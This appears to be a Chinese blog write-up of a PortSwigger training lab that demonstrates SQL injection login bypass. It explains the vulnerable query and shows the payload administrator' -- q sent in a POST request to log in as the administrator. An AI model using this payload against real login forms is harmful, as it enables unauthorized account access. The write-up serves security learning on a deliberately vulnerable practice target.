欢迎光临散文网 会员登陆 & 注册

绕过登录的万能密码 SQL 注入

2023-08-18 21:48 作者:ZzZ阿宅ZzZ  | 我要投稿

Portswigger练兵场之SQL注入

SQL 注入-绕过登录的万能密码

Lab: SQL injection vulnerability allowing login bypass

实验前置必要知识点

正常一个没有防护的应用程序,允许用户使用用户名和密码登录。

如果用户提交用户名和密码,应用程序将通过执行以下 SQL 查询来检查凭据:

SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'

如果查询返回用户的详细信息,则登录成功。否则,将被拒绝。

如果遇到防护较低的应用程序,在这个时候利用注释的方法,让查询帐号的结果返回真,忽略掉密码部分,即万能密码登录系统。

SELECT * FROM users WHERE username = 'administrator'--' AND password = ''

此查询返回用户名为administrator的用户,并成功将攻击者登录到该用户。

实验要求

本实验在登录函数中包含一个 SQL注入漏洞。

若要解决实验室问题,请执行以administrator用户身份登录到应用程序的 SQL 注入攻击。

渗透开始

  • 访问对应靶场界面

https://portswigger.net/web-security/sql-injection/lab-login-bypass

  • 启动靶场

1. 站点分析

这是购物类型的网站


具有查看商品以及登录的功能点

环境搭建资料+工具包+全套视频 - 哔哩哔哩

2. 寻找可疑功能点(查看Burp历史记录进行分析)

从总体来看,根据提示需要关注的是登录功能点


因此,分析突破口在这

3. 功能点测试

将对应的日志信息发送到重放模块

如果登录处存在无防护的SQL注入的话,首先我们尝试让语句报错,添加'

很直观的发现500报错了

添加2个'发现变回了200说明是单引号闭合的SQL语句

推测应用程序会将输入的账号密码通过执行以下SQL查询来检查凭据:

SELECT * FROM users WHERE username = 'aaa' AND password = 'bbb'

可以确定的是账号和密码处是可控的

SELECT * FROM users WHERE username = '{账号}' AND password = '{密码}'

根据提示,需要登录的账号是administrator,因此先修改username参数

SELECT * FROM users WHERE username = 'administrator' AND password = '{密码}'

如果查询的时候让账号为真并且忽略掉后面的内容,根据SQL的逻辑,账号存在为真会返回True,而应用程序根据返回为真的情况允许用户登录

SELECT * FROM users WHERE username = 'administrator' -- q' AND password = '{密码}'

利用注释的方法忽略掉密码,尝试在username参数后administrator拼接' --

因为是在POST传参中,不需要像GET一样进行URL编码操作

csrf=lsKpaUmIveO1R6uh8ap9d1OFNOGu14Vv&username=administrator' -- q&password=bbb

发现成功重定向进行了登录

4.完成实验

构造语句

发现需要令牌

直接复制之前的set-cookie进行登录,成功完成了实验

环境搭建资料+工具包+全套视频 - 哔哩哔哩

绕过登录的万能密码 SQL 注入的评论 (共 条)

分享到微博请遵守国家法律